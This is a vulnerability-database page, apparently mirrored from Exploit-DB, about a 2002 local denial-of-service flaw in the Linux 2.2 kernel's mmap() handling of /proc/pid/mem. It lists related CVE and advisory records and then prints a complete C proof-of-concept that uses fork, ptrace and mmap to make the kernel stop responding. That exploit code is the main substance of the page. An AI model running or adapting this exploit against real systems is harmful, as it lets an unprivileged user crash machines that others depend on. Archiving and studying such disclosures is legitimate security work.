Lucene search
+L

Linux Kernel 2.2 - 'mmap()' Local Denial of Service

🗓️ 17 Dec 2002 00:00:00Reported by Michal ZalewskiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 42 Views

Denial of service in Linux 2.2 kernel allows unprivileged users to crash the system via mmap().

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2002-1161
23 Dec 200205:00
–attackerkb
cve
CVE
CAN-2002-1380
6 Aug 202410:33
–cve
cve
CVE
CVE-2002-1380
1 Sep 200404:00
–cve
cvelist
Cvelist
CVE-2002-1380
1 Sep 200404:00
–cvelist
nessus
Tenable Nessus
Debian DSA-336-1 : linux-kernel-2.2.20 - several vulnerabilities
29 Sep 200400:00
–nessus
nessus
Tenable Nessus
Mandrake Linux Security Advisory : kernel22 (MDKSA-2003:039)
31 Jul 200400:00
–nessus
euvd
EUVD
EUVD-2002-1364
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2002-1380
23 Dec 200205:00
–nvd
osv_dsa
osv_dsa
DSA-336 linux-kernel-2.2.20 - several vulnerabilities
29 Jun 200300:00
–osv_dsa
rapid7
Rapid7 Vulnerability Database (full)
CVE-2002-1380: Undefined Security Weakness
1 Sep 200400:00
–rapid7
Rows per page
/*
source: https://www.securityfocus.com/bid/6420/info

A denial of service vulnerability has been discovered in the Linux 2.2 kernel. It has been reported that it is possible for an unprivileged user to cause the kernel to stop responding due to a bug in the implementation of mmap().

It should be noted that this issue does not affect the 2.4 kernel tree. This is because support for mmap() in the /proc/pid/mem implementation has been dropped.
*/


   #define PAGES 10

   #include <asm/page.h>
   #include <sys/mman.h>
   #include <unistd.h>
   #include <stdio.h>
   #include <fcntl.h>
   #include <sys/ptrace.h>

   int main() {
     int ad1,ad2,zer,mem,pid,i;
     zer=open("/dev/zero",O_RDONLY);
     ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0);
     pid=getpid();
     if (!fork()) {
       char p[64];
       ptrace(PTRACE_ATTACH,pid,0,0);
       sleep(1);
       sprintf(p,"/proc/%d/mem",pid);
       mem=open(p,O_RDONLY);
       ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1);
       write(1,(char*)ad2,PAGES*PAGE_SIZE);
     }
     sleep(100);
     return 0;
   }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.00873
42